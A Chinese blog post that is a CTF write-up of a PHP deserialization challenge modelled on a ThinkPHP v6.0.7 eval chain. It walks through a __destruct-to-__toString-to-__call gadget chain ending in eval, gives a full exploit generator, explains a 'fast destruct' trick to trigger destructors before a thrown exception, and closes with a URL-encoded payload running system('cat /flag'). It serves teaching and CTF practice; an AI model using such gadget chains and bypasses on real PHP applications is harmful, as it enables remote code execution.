cr0fyの博客

生如夏花之灿烂,死如秋叶之静美

0%

改编ThinkPHP v6.0.7 eval反序列化题目

在一次内部赛中,偶遇一个反序列化题目,它是改编ThinkPHP v6.0.7 eval反序列化的一个题目,涉及的知识也比较经典.

源码附上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

class Evil {
protected $code;

public function cmd($code) {
$this->code = $code;
eval('?>' . $this->code);
}
}

class Soeasy {
protected $type = [];

public function __call($method, $args) {
array_push($args, lcfirst($method));

return call_user_func_array([$this, 'ohhh'], $args);
}

public function ohhh($value, string $rule) {
if (isset($this->type[$rule])) {
// 注册的验证规则
$result = call_user_func_array($this->type[$rule], [$value]);
}
}
}

class Gogogo {
public $brother;

public function __destruct() {
return "just go little" . $this->brother;
}
}

class Stop {
protected $warn;
protected $real_talk;

public function __toString() {
$this->warn->whoareyou($this->real_talk); //别管这玩意哪里来的了,我也不知道
}
}

if(isset($_POST['data'])){
$a=unserialize($_POST['data']);
throw new Exception("快点学会反序列化好么");
}else{
highlight_file(__FILE__);
}

?>

逐步分析

源码中有 destruct() toString() call() 这几个魔术方法

我们需要构造链子到达Evil类执行cmd方法达到命令执行的效果

魔术跳板

从destruct到toString

首先肯定要是从destruct()方法入口,其中有字符串拼接 return “just go little” . $this->brother;

$brother是可控的,直接让其指向存在toString方法的类就可以触发该魔术方法

这步需要的的操作就是

1
2
3
public function __construct(){
$this->brother = new Stop();
}

提一下触发toString的条件

(1) echo($obj) / print($obj) 打印时会触发

(2) 反序列化对象与字符串连接时

(3) 反序列化对象参与格式化字符串时

(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5) 反序列化对象参与格式化SQL语句,绑定参数时

(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8) 反序列化的对象作为 class_exists() 的参数的时候

从toString到call

__call()方法的触发是需要调用不存在的方法

而在toString方法中就存在whoareyou方法没有被定义

1
$this->warn->whoareyou($real_talk);

而且warnreal_talk都是可控的,这个时候只需要让warn指向存在call方法的类就可以跳转,并且参数也传给 __call方法

这步所需要的操作为

1
2
3
4
public function __construct() {
$this->real_talk = "*******************"; //命令执行的参数
$this->warn = new Soeasy(); //换成Soeasy去触发__call
}

分析Soeasy类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Soeasy {
protected $type = [];

public function __call($method, $args) {
array_push($args, lcfirst($method));

return call_user_func_array([$this, 'ohhh'], $args);
}

public function ohhh($value, string $rule) {
if (isset($this->type[$rule])) {
// 注册的验证规则
$result = call_user_func_array($this->type[$rule], [$value]);
}
}
}

当参数传给__call

$method为 ‘whoareyou’ $args为数组 [‘$real_talk’]

通过array_push函数(用法:向数组尾部插入一个或多个元素)

使$args变成 [‘$real_talk’,’whoareyou’]

然后通过call_user_func_array函数将数据$args传入ohhh方法中

此时

1
2
3
4
5
$value=$real_talk         $rule=whoareyou

$result = call_user_func_array($this->type[$rule], [$value]);
等价于
$result = call_user_func_array($this->type['whoareyou'], [$real_talk]);

此刻在Soeasy类下面定义一下

1
2
3
public function __construct() {
$this->type['whoareyou'] = [new Evil(), 'cmd']; //调用任意方法任意类
}

就会将$real_talk参数传入Evil类的cmd方法中,进行命令执行

分析完毕

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

class Evil {
protected $code;
/*
public function cmd($code) {
$this->code = $code;
eval('?>' . $this->code);
}
*/
}

class Soeasy {
protected $type = [];
function __construct(){
$this->type = [
"whoareyou" => [new Evil,'cmd']];
}
/*
public function __call($method, $args) {
echo('call方法');
echo "\n";
array_push($args, lcfirst($method));

return call_user_func_array([$this, 'ohhh'], $args);
}

public function ohhh($value, string $rule) { //$value相当于$real_talk $rule就是whoareyou
echo(4);
echo "\n";
if (isset($this->type[$rule])) {
// 注册的验证规则
$result = call_user_func_array($this->type[$rule], [$value]); //call_user_func_array($this->type['whoareyou'], [$real_talk])
}
}
*/
}

class Gogogo {
public $brother;
function __construct(){
$this->brother = new Stop();
}
/*
public function __destruct() {
echo('destruct方法');
echo "\n";
return "just go little" . $this->brother;
}
*/
}

class Stop {
protected $real_talk;
protected $warn;
function __construct(){
$this->real_talk="<?php system('cat /flag');?>";
$this->warn = new Soeasy();

}
/*
public function __toString() {
echo('toString方法');
echo "\n";
$blind=$this->warn->whoareyou($this->real_talk); //别管这玩意哪里来的了,我也不知道
}
*/
}
$a=new Gogogo();
$b=serialize($a);
echo urlencode($b);
?>

但是输入payload后仍然会报错

问题就出现在这行代码

1
throw new Exception("快点学会反序列化好么");

它会在反序列化之前开始报错,我们必须绕过它

fast destruct

提前反序列化就要运用到fast destruct

在著名的php反序列工具phpggc中提及了这一概念。具体来说,在PHP中有:

>1. 如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。

> 2. 如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。

>

但是通过 fast destruct 我们可以跳出这种固定的生命周期

方法是修改序列化字符串的结构,利用错误的结构导致只完成了部分反序列化的 unserialize 强制退出,提前触发 __destruct()

可以去掉末尾的} 删的一个不剩都可以

或者更改生成序列化的数字元素个数

或者在末尾最后一个}前插入一些奇奇怪怪的字符;. 等等等等

Payload

1
O%3A6%3A%22Gogogo%22%3A1%3A%7Bs%3A7%3A%22brother%22%3BO%3A4%3A%22Stop%22%3A2%3A%7Bs%3A12%3A%22%00%2A%00real_talk%22%3Bs%3A28%3A%22%3C%3Fphp+system%28%27cat+%2Fflag%27%29%3B%3F%3E%22%3Bs%3A7%3A%22%00%2A%00warn%22%3BO%3A6%3A%22Soeasy%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A9%3A%22whoareyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Evil%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00code%22%3BN%3B%7Di%3A1%3Bs%3A3%3A%22cmd%22%3B%7D